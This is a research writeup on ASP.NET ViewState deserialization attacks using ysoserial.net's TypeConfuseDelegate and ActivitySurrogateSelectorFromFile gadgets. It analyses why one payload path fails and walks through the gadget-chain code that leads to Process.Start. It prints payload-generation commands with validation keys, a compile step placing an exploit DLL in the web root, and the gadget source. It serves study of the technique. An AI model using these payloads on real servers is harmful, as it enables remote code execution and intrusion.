# Intro This writeup was inspired by the following [blog](https://cyku.tw/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/) that discusses .NET ViewState Exploitation. In this writeup, I explored the TypeConfuseDelegate and ActivitySurrogateSelectorFromFile [ysoserial.net](https://github.com/pwntester/ysoserial.net) gadgets, the gadgets most commonly used to exploit ViewState and gain RCE. The writeup also slightly touches upon the concept of COM and .NET Interoperabilities that serves as a foundation of the gadgets, and a lot of .NET documentations. Enjoy reading! # ViewState Basics ![image](https://hackmd.io/_uploads/HyuqGuKweg.png) ![image](https://hackmd.io/_uploads/S143fuFPex.png) ### MAC Enabled=true + Invalid ViewState ![image](https://hackmd.io/_uploads/S1T1islDxl.png) ### About ViewStateUserKey - Used to prevent CSRF attacks. - `ViewStateUserKey` is typically set to a value such as the current user’s username or the user's session identifier. - Sample scenario: - A client has two tabs open in a browser. - Tab 1: Logs in as user A, `__VIEWSTATE` with A's `ViewStateUserKey` is rendered. - Tab 2: Client logs out, logs in as User B, goes back to Tab 1 and submit the form. - Submitted `ViewStateUserKey` is A's, but on the server's side is B's, mismatch causing error. ViewState References: * https://www.c-sharpcorner.com/UploadFile/225740/what-is-view-state-and-how-it-works-in-Asp-Net53/ * https://www.c-sharpcorner.com/uploadfile/37db1d/looking-deep-inside-postback-and-viewstate-in-Asp-Net-3-5/ # TypeConfuseDelegate This payload successfully writes a file, but shows 500 Internal Server Error Hence, we might not verify whether the file is successfully written. ``` .\ysoserial.exe -p ViewState -g TypeConfuseDelegate \ ` -c "echo ViewStatePwned > C:\pwn.txt" --generator="8E2672C3" \ ` --validationalg="SHA1" \ ` --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/BJNEDFCUex.png) Take Note: - It calls `HiddenFieldPageStatePersister Class` - Inheritance: `Object` --> `PageStatePersister` --> `HiddenFieldPageStatePersister` # ActivitySurrogateSelectorFromFile ## Passing .cs and supporting .dll files ``` ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \ -c "ExploitClassCykuModified.cs;./dlls/System.dll;./dlls/System.Web.dll" \ --generator="2B617B51" --validationalg="SHA1" \ --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/rytzcg1Dlg.png) **Error: Unable to cast object of type 'State' to 'System.Web.UI.Pair'** What this indicates: - The top-level object passed in the ViewState parameter is of type 'State' - ASP.NET ViewState expects to work with 'System.Web.UI.Pair' ## Passing .dll from a Compiled .cs Convert the .cs file to .dll ``` C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" \ /target:library /out:C:\inetpub\wwwroot\payloadcyku.dll \ C:\Users\Michelle\Desktop\ysoserial1\ysoserial.exe\ExploitClassCykuModified.cs ``` Pass the converted payload to ysoserial ``` ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile \ -c "C:\inetpub\wwwroot\payloadcyku.dll" --generator="2B617B51" \ --validationalg="SHA1" \ --validationkey="A9F13C7FCD4B1AB1234567890ABCDEF1234567890ABCDEF1234567890ABCDEF1" ``` ![image](https://hackmd.io/_uploads/SywpCgkvex.png) ![image](https://hackmd.io/_uploads/H1uOLzyPge.png) ## Why one works and the other does not? Two main questions: 1. Does passing a .cs file along with supporting .dll unable to result in a Pair object? 2. If so, does this fail because of: - ASP.NET ViewState deserialization expects a Pair object, or - ActivitySurrogateSelectorFile expects to work with Pair objects? ### Analyzing ActivitySurrogateSelectorFile The `Generate()` function in ActivitySurrogateSelectorFromFileGenerator.cs calls `GadgetChainsToBinaryFormatter()` from ActivitySurrogateSelectorGenerator.cs ![image](https://hackmd.io/_uploads/rk2cOzkwxl.png) The `GadgetChainsToBinaryFormatter()` instantiates a new object from `GadgetChains()` ![image](https://hackmd.io/_uploads/HkdZtMywxx.png) `GadgetChains()` itself makes use of Hashtable, IEnumerator, etc. ![image](https://hackmd.io/_uploads/rJjuYG1vll.png) Hashtable itself is a collection of key/value pairs, will it have anything to do with the errors? Not necessarily. #### Reason #1: The error message explicitly states it is related to casting and ViewState. Referencing this article: https://googleprojectzero.blogspot.com/2017/04/ - ActivitySurrogateSelector does make use of hashtable to trigger IEnumeration so our payload gets deserialized, but that happens before we pass the final payload to ViewState. - If an error about Pair occurs, it’s due to the top-level object in the serialized payload not being a Pair, which only becomes a problem at deserialization time (on the server). ``` ysoserial payload generation (Hashtable/IEnumeration happens here) -> HTTP request -> ASP.NET ViewState processing (Pair casting error happens here) ``` #### Reason #2: The gadget chain behavior itself ActivitySurrogateSelector does not necessarily expect to work with Pair Objects. See ActivitySurrogateSelector analysis for detailed walkthrough. ### Analyzing ASP.NET ViewState Handler As far as I know, ViewState deserialization uses `ObjectStateFormatter()`, making it able to deserialize any objects (?) Further analyzing how ViewState works, apparently it uses `LoadPageStateFromPersistenceMedium`, which uses `PageStatePersister.Load` ![image](https://hackmd.io/_uploads/B1r9oMJDxg.png) Recall that when using `TypeConfuseDelegate`, an error message about the `HiddenFieldPageStatePersister` occurs ![image](https://hackmd.io/_uploads/HJMOjzJvxx.png) Taking a look at the `PageStatePersister.Load()` Method, we see a deserialization in action, which will cast the result into `Pair` ``` public override void Load() { Stream stateStream = GetSecureStream(); // Read the state string, using the StateFormatter. StreamReader reader = new StreamReader(stateStream); IStateFormatter formatter = this.StateFormatter; string fileContents = reader.ReadToEnd(); // Deserilize returns the Pair object that is serialized in // the Save method. Pair statePair = (Pair)formatter.Deserialize(fileContents); ViewState = statePair.First; ControlState = statePair.Second; reader.Close(); stateStream.Close(); } ``` Few things to note: - PageStatePersister.Load() is called to load ViewState from a persistence medium. - It uses an `IStateFormatter` to deserialize ViewState data - The deserialized object is casted to `Pair` to initialize the `ViewState` and `ControlState` property - The pattern will be: `Pair(pageViewState, controlState)` Some few imformation from .NET documentation: > By default, ASP.NET page state is serialized and deserialized by an instance of the ObjectStateFormatter class; however, site and adapter developers can implement the IStateFormatter interface on their own types to perform this work. ![image](https://hackmd.io/_uploads/r1t7z7kPgx.png) About the ObjectStateFormatter Class: > Other types not listed above are binary-serialized using a BinaryFormatter object if they implement the ISerializable interface or are decorated with the SerializableAttribute attribute. Notice that we are deserializing a class (not listed in the list stated in [reference](https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1)). So our object will be deserialized by BinaryFormatter. Which makes sense, since ysoserial `ActivitySurrogateSelector` gadget itself serialized the payload using BinaryFormatter ``` MemoryStream stm = new MemoryStream(); if (inputArgs.Minify) { ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter fmtLocal = new ysoserial.Helpers.ModifiedVulnerableBinaryFormatters.BinaryFormatter(); fmtLocal.SurrogateSelector = new MySurrogateSelector(); fmtLocal.Serialize(stm, ls); } else { System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); } return stm.ToArray(); ``` Conclusion: - The error: `Unable to cast object of type 'State' to 'System.Web.UI.Pair'` happens when casting the deserialized object - When passing a .cs file, ysoserial compiles it and wraps it in a State object, which becomes the top-level serialized instance — breaking the ASP.NET ViewState assumption. - Execution path: > 1. Page.LoadPageStateFromPersistenceMedium() > 2. PageStatePersister.Load() > 3. IStateFormatter.Deserialize() → Expects: Pair object - This has nothing to do with the internals of the gadget itself (the early assumption of SortedKey's and Hashtable's relevance to Pair objects) - ObjectStateFormatter takes many types of data structures, the Pair fails because of the type casting Confusion: Why .dll works, .cs does not? - When you pass a compiled .dll, ysoserial loads the class from the DLL, instantiates it, and plugs the object into the ActivitySurrogateSelectorFromFile gadget chain. This chain is then wrapped in a System.Web.UI.Pair, as required by ViewState deserialization. - ysoserial.exe cannot compile the .cs file on its own — it expects a DLL, not source code. So if it works at all when you pass a .cs and .dll, it must be because: The DLL is doing the real work, or the .cs was previously compiled, cached, or accidentally referenced through a different mechanism. # Analyzing The Gadgets ## Background Knowledge ### Managed and Unmanaged Code - Managed code: execution is managed by a runtime (CLR: comple managed code to machine code and executing it) - C#, VB.NET - Unmanaged code: Programmer manages memory to security considerations - C++, VBG ### COM (unmanaged) vs. .NET (managed) - Object Lifetime - COM: Client manages when to free/release the object. - .NET: CLR automatically cleans up objects with GC. - Discovering Capabilities - COM: Requests interface, receives interface pointer if available. - .NET: Use reflection to see all properties, methods, and interfaces of the objects. - Memory Management - COM: Expects the object to stay in one place, no mechanism to deal with dynamic object location. - .NET: Objects reside in memory managed by .NET runtime execution environment, moves in memory for performance reasons. ### COM and .NET Interoperabilities Interoperability: Passing the code between managed and unmanaged boundaries. - .NET might not be COM, but should be able to interoperate with COM - .NET can implement and consume COM objects - These interoperabilities are supported by Runtime Callable Wrapper (RCW) and COM Callable Wrapper (CCW) ### Sample: Out-of-Process COM Server in C# **Server Implementation** ![image](https://hackmd.io/_uploads/SJ8ue9YPxx.png) > This is a .NET Object **Client Implementation** - Unmanaged COM client (C++) ```C++ ICustomInterface* pObj = NULL; CLSID clsid; hr = CLSIDFromProgID(L"MyNamespace.COMObject", &clsid); hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, IID_ICustomInterface, (void**)&pObj); pObj->DoSomething(); ``` > Requests interface and receives interface pointer (if available). - Managed client (C# via COM Interop) ```C# Type comType = Type.GetTypeFromProgID("MyNamespace.COMObject"); object comObj = Activator.CreateInstance(comType); comObj.GetType().InvokeMember("DoSomething", System.Reflection.BindingFlags.InvokeMethod, null, comObj, null); ``` > Use System.Reflection to see all information about the loaded assemblies (the objects). ### How CCW Works As A Translator - When COM client calls a .NET object, a CCW is needed as a translator between COM and .NET. - The CCW is automatically created by the .NET runtime. - CCW makes the .NET object look like a native COM object to the COM client. ![image](https://hackmd.io/_uploads/HkIj95Ywlx.png) To Query Interface ```C++ IUnknown* pUnknown; HRESULT hr = CoCreateInstance(..., IID_IUnknown, (void**)&pUnknown); IDispatch* pDisp; hr = pUnknown->QueryInterface(IID_IDispatch, (void**)&pDisp); ``` > 1. Instantiates a COM object using its CLSID, requests the object to return a pointer to IUnknown interface, pUnknown will point to the COM's IUnknown vtable > 2. Now having pointer to IUnknown, use QueryInterface to get IDispatch pointer (pDisp) ### Now What If The Caller is .NET Client? ![image](https://hackmd.io/_uploads/r1PIIiKwxg.png) > Simply put, when .NET runtime gets hold of a COM object, it will go through a "process" to determine if it can unwrap the object from its CCW and avoid creating an RCW. > The process is illustrated above > It might end up calling BinaryFormatter::Deserialize()! ### Attacker's Perspective (Local Privilege Escalation) **Make the server to try and create an RCW, for a serializable .NET object that is exposed over COM (the above inner box containing ".NET Object").** ![image](https://hackmd.io/_uploads/SkfK1hFPxg.png) **This abuses WMI** > The server itself is not vulnerable, until it acts as a DCOM client: retrieving and deserializing attacker-controlled data. Trick: - Pass a .NET COM object to the server's `Equals` method - The runtime tries to convert to RCW - Runtime checks if it's a CCW wrapped .NET object, resulting in calling `GetSerializedBuffer` - Send a serialized `Hashtable` to the server containing delegate object as one of the keys. - The server contains COM implementation of the `IHashCodeProvider` Interface - Custom deserialization code causes `IHashCodeProvider::GetHashCode` to be called, rebuilding the internal hash structures, running over each keys. - The function meets the Delegate object (which is serializable), so it will gets passed back to the client (refer to the diagram above) - The client is written in native code, so `IManagedObject` automatic serialization won't occur. - The Delegate object is in the server while we are exposed to the CCW. - Make a call via CCW to start a new process with server's privileges. > The .NET COM Server becomes a DCOM client when it calls a method (GetHashCode) on a COM Interface, which is implemented by a remote object controlled by the attacker. > The serialized hashtable contains the COM implementation (not .NET!!!) of the IHashCodeProvider, causing the .NET COM Server to be a DCOM Client when calling the method. > Works in local privilege escalation but not guaranteed for RCE. ## TypeConfuseDelegate ### Key Idea Creates a `String.Compare` delegate, multicasts it to later create type confusion, then uses this multicast delegate as a comparer in a `SortedSet` Object. Sets the attacker's payload inside the `SortedSet`, then modifies the delegate's invocation list to call `Process.Start()`. ### How It Works #### Step 1: Get user's input arguments ```C# string cmdFromFile = inputArgs.CmdFromFile; if (!string.IsNullOrEmpty(cmdFromFile)) { inputArgs.Cmd = cmdFromFile; } ``` #### Step 2: Create a Multicast Delegate ```C# Delegate da = new Comparison<string>(String.Compare); Comparison<string> d = (Comparison<string>)MulticastDelegate.Combine(da, da); ``` > Multicast delegate contains a list of the assigned delegates > When the multicast delegate is called, it invokes the delegates in the list in order. > The types must match first so it will be valid in the ComparisonComparer, afterwards we can modify the Invoke List 1 to System.Process.Start #### Step 3: Create a ComparisonComparer instance with the delegate ```C# IComparer<string> comp = Comparer<string>.Create(d); ``` > ComparisonComparer performs a case-sensitive comparison of two objects with the same type > Hence, since the multicast delegate contains two same types, it is valid. #### Step 4: Add user's arguments to the SortedSet ```C# SortedSet<string> set = new SortedSet<string>(comp); set.Add(inputArgs.CmdFileName); if (inputArgs.HasArguments) { set.Add(inputArgs.CmdArguments); } else { set.Add(""); } ``` #### Step 5: Modify the multicast delegate's list of invocation ```C# FieldInfo fi = typeof(MulticastDelegate).GetField("_invocationList", BindingFlags.NonPublic | BindingFlags.Instance); object[] invoke_list = d.GetInvocationList(); // Modify the invocation list to add Process::Start(string, string) invoke_list[1] = new Func<string, string, Process>(Process.Start); fi.SetValue(d, invoke_list); ``` ![image](https://hackmd.io/_uploads/H1ZazMcvll.png) ![image](https://hackmd.io/_uploads/HkhazG5vee.png) #### Why specifically modify `_invocationList[1]`? - Upon object construction, `DelegateSerializationHolder.GetRealObject()` will be called. - The above function treats the first element of the delegate list (`_invokeList[0]`) as the type for the entire MultiCastDelegate object. ```C# return ((MulticastDelegate)array[0]).NewMulticastDelegate(array, array.Length); ``` - We want to keep the type ``Comparison<string>``. ## ActivitySurrogateSelector ### Key Idea Generates an enumerable (hashtable) via `LINQ`, serializes it using `ObjectSurrogate`, forces enumeration to trigger deserialization via the `ToString()` method. ### How It Works #### Step 1: Hashtable construction - Create the gadget chains in the form of `IEnumerable` ```C# byte[][] e1 = new byte[][] { assemblyBytes }; IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly> (e1, null, Assembly.Load); IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>> (e2, null, (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"))); IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>> (e3, null, (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate(typeof(Func<IEnumerable<Type>, IEnumerator<Type>>), typeof(IEnumerable<Type>).GetMethod("GetEnumerator"))); IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type> (e4, (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, bool>), typeof(IEnumerator).GetMethod("MoveNext")), (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate(typeof(Func<IEnumerator<Type>, Type>), typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod())); IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance); ``` - Create a new instance of `DesignerVerb` and `IDictionary` ```C# PagedDataSource pds = new PagedDataSource() { DataSource = end }; dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds); verb = new DesignerVerb("", null); typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict); ``` > DesignerVerb and IDictionary is used hand-in-hand to trigger ToString() > Will result in the LINQ enumerator being walked - Initialize a normal empty list. ```C# ls = new List<object>(); ``` - Populate the list with the pre-loaded gadget chains. ```C# ls.Add(e1); ls.Add(e2); ls.Add(e3); ls.Add(e4); ls.Add(e5); ls.Add(end); ls.Add(pds); ls.Add(verb); ls.Add(dict); ``` > This becomes a list of IEnumerable elements. - Initialize a Hashtable ```C# ht = new Hashtable(); ``` - Replace the Hashtable's existing keys with `DesignerVerb` ```C# FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance); Array keys = (Array)fi_keys.GetValue(ht); FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance); for (int i = 0; i < keys.Length; ++i) { object bucket = keys.GetValue(i); object key = fi_key.GetValue(bucket); if (key is string) { fi_key.SetValue(bucket, verb); keys.SetValue(bucket, i); break; } } fi_keys.SetValue(ht, keys); ``` > So ToString() method could be triggered since the key is not a string - Add the modified Hashtable to the list ```C# ls.Add(ht); ``` #### Step 2: Serialize the list - List serialization ```C# System.Runtime.Serialization.Formatters.Binary.BinaryFormatter fmt = new System.Runtime.Serialization.Formatters.Binary.BinaryFormatter(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, ls); ``` - And serialize our input arguments passed via ysoserial ```C# return Serialize(payload, formatter, inputArgs); ``` > The result is what we will pass to the server. #### Step 3: Server receives the payload - The Hashtable will get deserialized and all keys will be rehashed. - If two same keys are found upon rebuilding, an exception will be thrown. - The exception will end up calling `GetResourceString` and attempt to format the keys. - If the key is not a `String` type (since we modified it), it will trigger the `ToString()` method, firing up our gadget chain. ### Summary ![image](https://hackmd.io/_uploads/B1UiHTYvgl.png) - Delegates: A type that represents references to methods with a particular parameter list and return type. - We create an open delegate, which not bound to an instance and needs to be passed explicitly at invocation. - In the end, each `Type` in `e5` is passed to `Activator.CreateInstance(Type)` # References: * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister.load?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.hiddenfieldpagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.pagestatepersister?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.istateformatter?view=netframework-4.8.1 * https://learn.microsoft.com/en-us/dotnet/api/system.web.ui.objectstateformatter?view=netframework-4.8.1 * https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Generators/ActivitySurrogateSelectorFromFileGenerator.cs * https://support.microsoft.com/en-us/topic/resolving-view-state-message-authentication-code-mac-errors-6c0e9fd3-f8a8-c953-8fbe-ce840446a9f3 * https://learn.microsoft.com/en-us/dotnet/framework/interop/com-interop-sample-com-client-and-net-server?source=recommendations * https://learn.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/how-to-combine-delegates-multicast-delegates * https://testbnull.medium.com/deep-inside-typeconfusedelegate-gadgetchain-456915ed646a * https://testbnull.medium.com/c%C3%B3-g%C3%AC-b%C3%AAn-trong-c%C3%A1c-net-deser-gadgetchain-3d89897c4878 * https://learn.microsoft.com/en-us/dotnet/api/system.collections.comparer.compare?view=net-9.0 * https://www.troyhunt.com/understanding-and-testing-for-view/